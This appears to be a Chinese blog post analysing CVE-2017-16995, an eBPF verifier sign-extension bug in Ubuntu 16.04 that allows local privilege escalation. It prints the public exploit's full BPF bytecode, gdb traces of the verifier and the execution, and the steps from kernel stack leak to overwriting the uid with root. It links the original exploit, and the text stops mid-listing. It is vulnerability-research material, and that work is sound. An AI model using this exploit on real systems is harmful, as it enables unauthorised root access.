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深入分析Ubuntu本地提权漏洞-(CVE-2017-16995)

深入分析Ubuntu本地提权漏洞-(CVE-2017-16995) 云探索网络
2019-05-14
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导读:前言:2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ubunt

前言:

2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提权漏洞,而且推文中还附上了 EXP 下载地址。由于该漏洞成功在aws Ubuntu镜像上复现,被认为是0DAY,引起了安全圈同学们的广泛关注。大体浏览了 一下exp代码,发现利用姿势很优雅,没有ROP,没有堆,没有栈,比较感兴趣,不过等了几天也没发现有详细的漏洞分析,正好赶上周末,便自己跟了一下:)

经过一番了解发现这个漏洞并不是什么0DAY,最早是去年12月21号Google Project Zero团队的Jann Horn发现并报告的,编号为CVE-2017-16995,作者在报告该漏洞的时候附了一个DOS的POC。另外,最早公开发布可成功提权exploit也不是Vitaly Nikolenko,而是Bruce Leidl,其在12月21号就把完整的提权exploit公布到了github上,地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c。

技术分析

eBPF简介

众所周知,linux的用户层和内核层是隔离的,想让内核执行用户的代码,正常是需要编写内核模块,当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道:BPF(Berkeley Packet Filter)提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码,并通过事件(如往socket写数据)来触发内核执行用户提供的代码;同时以map(key,value)的形式来和内核共享数据,用户层向map中写数据,内核层从map中取数据,反之亦然。BPF设计初衷是用来在底层对网络进行过滤,后续由于他可以方便的向内核注入代码,并且还提供了一套完整的安全措施来对内核进行保护,被广泛用于抓包、内核probe、性能监控等领域。BPF发展经历了2个阶段,cBPF(classic BPF)和eBPF(extend BPF),cBPF已退出历史舞台,后文提到的BPF默认为eBPF。

eBPF虚拟指令系统

eBPF虚拟指令系统属于RISC,拥有10个虚拟寄存器,r0-r10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系如下:


 
 
 
  1. R0 rax

  2.     R1 - rdi

  3.     R2 - rsi

  4.     R3 - rdx

  5.     R4 - rcx

  6.     R5 - r8

  7.     R6 - rbx

  8.     R7 - r13

  9.     R8 - r14

  10.     R9 - r15

  11.     R10 rbp(帧指针,frame pointer


每一条指令的格式如下:


 
 
 
  1. struct bpf_insn {

  2. __u8 code; /* opcode */

  3. __u8 dst_reg:4; /* dest register */

  4. __u8 src_reg:4; /* source register */

  5. __s16 off; /* signed offset */

  6. __s32 imm; /* signed immediate constant */

  7. };

如一条简单的x86赋值指令:mov eax,0xffffffff,对应的BPF指令为:BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),其对应的数据结构为:



 
 
 
  1. #define BPF_MOV32_IMM(DST, IMM) \

  2. ((struct bpf_insn) { \

  3. .code = BPF_ALU | BPF_MOV | BPF_K, \

  4. .dst_reg = DST, \

  5. .src_reg = 0, \

  6. .off = 0, \

  7. .imm = IMM })

其在内存中的值为:\xb4\x09\x00\x00\xff\xff\xff\xff。


关于BPF指令系统此处就不再赘述,只要明确以下两点即可:1.其为RISC指令系统,也就是说每条指令大小都是一样的;2.其虚拟的10个寄存器一一对应于物理cpu的寄存器,且功能类似,比如BPF的r10寄存器和rbp一样指向栈,r0用于返回值。

BPF的加载过程:

一个典型的BPF程序流程为:

  1. 用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。

  2. 用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核,attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验,这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack之外的内核地址读写。安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。

  3. 用户程序通过调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。

  4. 用户程序通过操作上一步骤中的socket来触发BPF真正执行。

BPF的安全校验

Bpf指令的校验是在函数do_check中,代码路径为kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令,

理论上虚拟执行和真实执行的执行路径应该是完全一致的。如果步骤2安全校验过程中的虚拟执行路径和步骤4 bpf的真实执行路径不完全一致的话,会怎么样呢?看下面的例子:


 
 
 
  1. 1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */

  2. 2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */

  3. 3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */

  4. 4.BPF_EXIT_INSN()

  5. 5.……

第一条指令是个简单的赋值语句,把0xFFFFFFFF这个值赋值给r9.


第二条指令是个条件跳转指令,如果r9等于0xFFFFFFFF,则退出程序,终止执行;如果r9不等于0xFFFFFFFF,则跳过后面2条执行继续执行第5条指令。

虚拟执行的时候,do_check检测到第2条指令等式恒成立,所以认为BPF_JNE的跳转永远不会发生,第4条指令之后的指令永远不会执行,所以检测结束,do_check返回成功。

真实执行的时候,由于一个符号扩展的bug,导致第2条指令中的等式不成立,于是cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,可以绕过BPF的代码安全检查。既然安全检查被绕过了,用户就可以随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接将uid的值改为0,然后启动/bin/bash。

漏洞分析

下面结合真实的exp来动态分析一下漏洞的执行过程。

Vitaly Nikolenko公布的这个exp,关键代码就是如下这个prog数组:这个数组就是BPF的指令数据,想要搞清楚exp的机理,首先要把这堆16进制数据翻译成BPF指令,翻译结果如下:


 
 
 
  1. bytes="\xb4\x09\x00\x00\xff\xff\xff\xff"\ #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */

  2. "\x55\x09\x02\x00\xff\xff\xff\xff"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */

  3. "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */

  4. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN()

  5.  

  6. "\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */

  7. "\x00\x00\x00\x00\x00\x00\x00\x00"\

  8.  

  9. #BPF_MAP_GET(0, BPF_REG_6) r6=op,取map的第1个元素放到r6

  10. "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */

  11. "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */

  12. "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */

  13. "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */

  14. "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

  15. "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */

  16. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

  17. "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */

  18.  

  19. #BPF_MAP_GET(1, BPF_REG_7) r7=address,取map的第2个元素放到r7

  20. "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */

  21. "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */

  22. "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */

  23. "\x62\x0a\xfc\xff\x01\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */

  24. "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

  25. "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */

  26. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

  27. "\x79\x07\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */

  28.  

  29. #BPF_MAP_GET(2, BPF_REG_8) r8=value,取map的第3个元素放到r8

  30. "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */

  31. "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */

  32. "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */

  33. "\x62\x0a\xfc\xff\x02\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */

  34. "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

  35. "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */

  36. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

  37. "\x79\x08\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */

  38.  

  39. "\xbf\x02\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */

  40. "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */

  41. "\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */

  42. "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),

  43. "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),

  44. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),

  45. "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 2),

  46. "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),

  47. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

  48. "\x7b\x87\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),

  49. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

  50. do_check上打个断点,编译运行,成功断了下来,先看一下调用栈:

  51. (gdb) bt

  52. #0 do_check (env=0xffff880078190000)

  53. at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724

  54. #1 0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10,

  55. attr=<optimized out>)

  56. at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240

  57. #2 0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0)

  58. at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679

  59. #3 0xffffffff81178d3a in SYSC_bpf (size=48, uattr=<optimized out>,

  60. cmd=<optimized out>)

  61. at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783

  62. #4 SyS_bpf (cmd=5, uattr=140722476394128, size=48)

  63. at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725

  64. #5 0xffffffff8184efc8 in entry_SYSCALL_64 ()

  65. at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193

  66. #6 0x0000000000000001 in irq_stack_union ()

  67. #7 0x0000000000000000 in ?? ()

  68. (gdb)

首先看第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),do_check中最终的赋值语句如下:其中dst_reg为虚拟执行过程中的寄存器结构体,结构体定义如下:可以看到该结构体有2个字段,第一个为type,代表寄存器数据的类型,此处为CONST_IMM,CONST_IMM的值为8.另外一个为常量立即数的具体数值,可以看到类型为int有符号整形。

我们在此处下断点,可以看到具体的赋值过程,如下:


 
 
 
  1. (gdb) x/10 $rip-4

  2. 0xffffffff8117b0ac <do_check+5548>: mov DWORD PTR [rsi+rax*1+0x8],edx

  3. => 0xffffffff8117b0b0 <do_check+5552>:

  4. jmp 0xffffffff8117a38c <do_check+2188>

  5. 0xffffffff8117b0b5 <do_check+5557>: mov rdi,QWORD PTR [rsp+0x38]

  6. 0xffffffff8117b0ba <do_check+5562>: mov rdx,rax

  7. 0xffffffff8117b0bd <do_check+5565>: movzx esi,al

  8. 0xffffffff8117b0c0 <do_check+5568>: and edx,0x18

  9. 0xffffffff8117b0c3 <do_check+5571>: mov rdx,QWORD PTR [rdx-0x7e5db140]

  10. 0xffffffff8117b0ca <do_check+5578>: movzx ecx,BYTE PTR [rdi+0x1]

  11. 0xffffffff8117b0ce <do_check+5582>: movsx r8d,WORD PTR [rdi+0x2]

  12. 0xffffffff8117b0d3 <do_check+5587>: mov r9d,DWORD PTR [rdi+0x4]

  13. (gdb) i r $edx

  14. edx 0xffffffff -1

  15. (gdb) x/10x $rsi+$rax

  16. 0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000

  17. 0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000

  18. 0xffff8800781930c8: 0x00000000 0x00000000

  19. (gdb)

$rsi+$rax处即为reg_state结构体,可以看到第一个字段为8,第二个字段为0Xffffffff。

然后我们跟进第二条指令中的比较语句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),do_check检测到跳转类指令时,根据跳转类型进入不通的检测分支,此处是JNE跳转,进入check_cond_jmp_op分支,如下图:Do_check在校验条件类跳转指令的时候,会判断条件是否成立,如果是非确定性跳转的话,就说明接下来2个分支都有可能执行(分支A和分支B),这时do_check会把下一步需要跳转到的指令编号(分支B)放到一个临时栈中备用,这样当前指令顺序校验(分支A)过程中遇到EXIT指令时,会从临时栈中取出之前保存的下一条指令的序号(分支B)继续校验。如果跳转指令恒成立的话,就不会再往临时栈中放入分支B,因为分支B永远不会执行,如下图:第一个红框即为虚拟寄存器中的imm与指令中提供的imm进行比较,这两个类型如下:

可以看到等号两侧的数据类型完全一致,都为有符号整数,所以此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。

接下来看BPF_EXIT_INSN(),刚才提到在校验EXIT指令时,会从临时栈中尝试取指令(调用pop_stack函数),如果临时栈中有指令,那就说明还有其他可能执行到的分支,需要继续校验,如果取不到值,表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令,此时pop_stack会返回-1,然后break跳出do_check校验循环,do_check执行结束,校验通过,如下图:

跟进pop_stack,如下图:

实际执行过程如下:


 
 
 
  1. (gdb) x/10i $rip

  2. => 0xffffffff81178f29 <pop_stack+9>: test r8,r8 //此处判断env->head是否为NULL

  3. 0xffffffff81178f2c <pop_stack+12>:

  4. je 0xffffffff81178fb4 <pop_stack+148> //为NULL时,跳转到0xffffffff81178fb4

  5. 0xffffffff81178f32 <pop_stack+18>: push rbp

  6. 0xffffffff81178f33 <pop_stack+19>: mov rax,rsi

  7. 0xffffffff81178f36 <pop_stack+22>: lea rcx,[rdi+0x18]

  8. 0xffffffff81178f3a <pop_stack+26>: mov rdx,rdi

  9. 0xffffffff81178f3d <pop_stack+29>: lea rdi,[rdi+0x20]

  10. 0xffffffff81178f41 <pop_stack+33>: mov rbp,rsp

  11. 0xffffffff81178f44 <pop_stack+36>: push r13

  12. 0xffffffff81178f46 <pop_stack+38>: push r12

  13. (gdb) i r $r8

  14. r8 0x0 0

  15. (gdb) x/10i 0xffffffff81178fb4

  16. 0xffffffff81178fb4 <pop_stack+148>: mov eax,0xffffffff //pop_stack返回-1

  17. 0xffffffff81178fb9 <pop_stack+153>: ret //pop_stack返回-1

  18. 0xffffffff81178fba: nop WORD PTR [rax+rax*1+0x0]

  19. 0xffffffff81178fc0 <verbose>: nop DWORD PTR [rax+rax*1+0x0]

  20. 0xffffffff81178fc5 <verbose+5>: push rbp

  21. 0xffffffff81178fc6 <verbose+6>: mov rbp,rsp

  22. 0xffffffff81178fc9 <verbose+9>: sub rsp,0x50

  23. 0xffffffff81178fcd <verbose+13>: mov rax,QWORD PTR gs:0x28

  24. 0xffffffff81178fd6 <verbose+22>: mov QWORD PTR [rsp+0x18],rax

  25. 0xffffffff81178fdb <verbose+27>: xor eax,eax

  26. (gdb)

到此为止我们了解了BPF的校验过程,这个exp一共有41条指令,BPF只校验了4条指令,然后返回校验成功。

接下来我们继续跟进BPF指令的执行过程,对应的代码如下(路径为kernel/bpf/core.c):

其中DST为目标寄存器,IMM为立即数,我们跟进DST的定义:


跟进IMM的定义:

很明显,等号两边的数据类型是不一致的,所以导致这里的条件跳转语句的结果完全相反,以下为实际执行过程:


 
 
 
  1. (gdb) x/10i $rip

  2. => 0xffffffff8117731f <__bpf_prog_run+2191>:

  3. cmp QWORD PTR [rbp+rax*8-0x270],rdx

  4. 0xffffffff81177327 <__bpf_prog_run+2199>:

  5. je 0xffffffff81177d8a <__bpf_prog_run+4858>

  6. 0xffffffff8117732d <__bpf_prog_run+2205>: movsx rax,WORD PTR [rbx+0x2]

  7. 0xffffffff81177332 <__bpf_prog_run+2210>: lea rbx,[rbx+rax*8+0x8]

  8. 0xffffffff81177337 <__bpf_prog_run+2215>:

  9. jmp 0xffffffff81176ae0 <__bpf_prog_run+80>

  10. 0xffffffff8117733c <__bpf_prog_run+2220>: movzx eax,BYTE PTR [rbx+0x1]

  11. 0xffffffff81177340 <__bpf_prog_run+2224>: mov edx,eax

  12. 0xffffffff81177342 <__bpf_prog_run+2226>: shr dl,0x4

  13. 0xffffffff81177345 <__bpf_prog_run+2229>: and edx,0xf

  14. 0xffffffff81177348 <__bpf_prog_run+2232>:

  15. cmp QWORD PTR [rbp+rdx*8-0x270],0x0

  16. (gdb) i r $rdx

  17. rdx 0xffffffffffffffff -1

  18. (gdb) x/10x (rbp+rax*8-0x270)

  19. No symbol "rbp" in current context.

  20. (gdb) x/10x ($rbp+$rax*8-0x270)

  21. 0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800

  22. 0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000

  23. 0xffff880076143a98: 0x746ee000 0xffff8800

  24. (gdb)

等号两边的值完全不一样,这里的跳转条件成立,会往后跳2条指令继续执行,和虚拟执行的过程相反。

接下来就是分析exp里面的BPF指令了,通过自定义BPF指令,我们可以绕过安全校验实现任意内核指针泄露,任意内核地址读写。

构造一下攻击路径:

1.申请一个MAP,长度为3;

2.这个MAP的第一个元素为操作指令,第2个元素为需要读写的内存地址,第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC,3个元素组成一个控制指令。

3.组装一个指令,读取内核的栈地址。根据内核栈地址获取到current的地址。

4.读current结构体的第一个成员,或得task_struct的地址,继而加上cred的偏移得到cred地址,最终获取到uid的地址。

5.组装一个写指令,向上一步获取到的uid地址写入0.

6.启动新的bash进程,该进程的uid为0,提权成功。

Exp中就是按照如上的攻击路径来提权的,申请完map之后,首先发送获取内核栈地址的指令,如下:


 
 
 
  1. bpf_update_elem(0, 0);

  2. bpf_update_elem(1, 0);

  3. bpf_update_elem(2, 0);

然后通过调用writemsg触发BPF程序运行,BPF会进入如下分支:


 
 
 
  1. "\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */

  2. #BPF_MAP_GET(0, BPF_REG_6) r6=op

  3. "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */

  4. "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */

  5. "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */

  6. "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */

  7. "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

  8. "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */

  9. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

  10. "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */

之前提到过,BPF的r10寄存器相当于x86_64的rbp,是指向内核栈的,所以这里第一行指令将map的标识放到r9,第二条指令将r9放到r1,作为后续调用BPF_FUNC_map_lookup_elem函数的第一个参数,第三条指令将内核栈指针赋值给r2,第四条指令在栈上开辟4个字节的空间,第五条指令将map元素的序号放到r2,第六条指令取map中第r2个元素的值并把返回值存入r0,第七条指令判断BPF_FUNC_map_lookup_elem有没有执行成功,r0=0则未成功。成功后执行第9条指令,将取到的值放到r6中。继续依次往下执行,直到执行到下面的路径:


 
 
 
  1. "\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */

  2. "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),

  3. "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),

  4. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),

  5. "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),

  6. "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),

  7. "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

判断r6是否为0,为0说明是取栈地址的指令,这时会往下跳3条指令,继续执行第7条指令,将r10的内容写入r2,由于在执行第30条指令时r0指向map中的第二个元素,所以这时r2也指向这个元素,然后用户层通过get_value(2)取到了内核栈的地址,我们通过给BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下断点,可以看到过程如下:


 
 
 
  1. (gdb) x/20i 0xffffffff8117788b

  2. 0xffffffff8117788b <__bpf_prog_run+3579>: movzx eax,BYTE PTR [rbx+0x1]

  3. 0xffffffff8117788f <__bpf_prog_run+3583>: movsx rdx,WORD PTR [rbx+0x2]

  4. 0xffffffff81177894 <__bpf_prog_run+3588>: add rbx,0x8

  5. 0xffffffff81177898 <__bpf_prog_run+3592>: mov rcx,rax

  6. 0xffffffff8117789b <__bpf_prog_run+3595>: shr al,0x4

  7. 0xffffffff8117789e <__bpf_prog_run+3598>: and ecx,0xf

  8. 0xffffffff811778a1 <__bpf_prog_run+3601>: and eax,0xf

  9. 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270]

  10. 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270]

  11. 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax

  12. => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>

  13. 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]

  14. 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]

  15. 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8

  16. 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]

  17. 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf

  18. 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]

  19. 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx

  20. 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>

  21. 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence

  22. (gdb) i r $rax

  23. rax 0xffff8800758c3c88 -131939423208312

  24. (gdb)

其中rax的值0xffff8800758c3c88即为泄露的内核栈地址(其实应该称为帧指针更准确)。

然后通过经典的addr & ~(0x4000 - 1)获取到current结构体的起始地址0xffff8800758c0000,然后构造读数据的map指令去读current中偏移为0的指针值(即为指向task_struct的指针):


 
 
 
  1. bpf_update_elem(0, 0);

  2. bpf_update_elem(1, 0xffff8800758c0000);

  3. bpf_update_elem(2, 0);

其中addr为当前线程current的值0xffff8800758c0000,这样可以得到task_struct的地址,

过程如下:


 
 
 
  1. (gdb) x/10i $rip-20

  2. 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270]

  3. 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270]

  4. 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax

  5. => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>

  6. 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]

  7. 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]

  8. 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8

  9. 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]

  10. 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf

  11. 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]

  12. (gdb) i r $rax

  13. rax 0xffff880074343c00 -131939445752832

  14. (gdb) x/10x 0xffff8800758c0000

  15. 0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000

  16. 0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff

  17. 0xffff8800758c0020: 0x00000000 0x00000000

(gdb)其中rax的值即为指向task_struct的指针,可以看到和current结构体的第一个成员的值是一致的,都是0xffff880074343c00。

得到task_struct地址之后,加上cred的偏移CRED_OFFSET=0x5f8(由于内核版本不通或者内核的编译选项不同,都可能导致cred在task_struct中的偏移不同),组装读取指令取读取指向cred结构体的指针地址,


 
 
 
  1. bpf_update_elem(0, 2);

  2. bpf_update_elem(1, 0xffff880074343c00+0x5f8);

  3. bpf_update_elem(2, 0);

过程如下:


 
 
 
  1. (gdb) x/10i $rip

  2. => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>

  3. 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]

  4. 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]

  5. 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8

  6. 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]

  7. 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf

  8. 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]

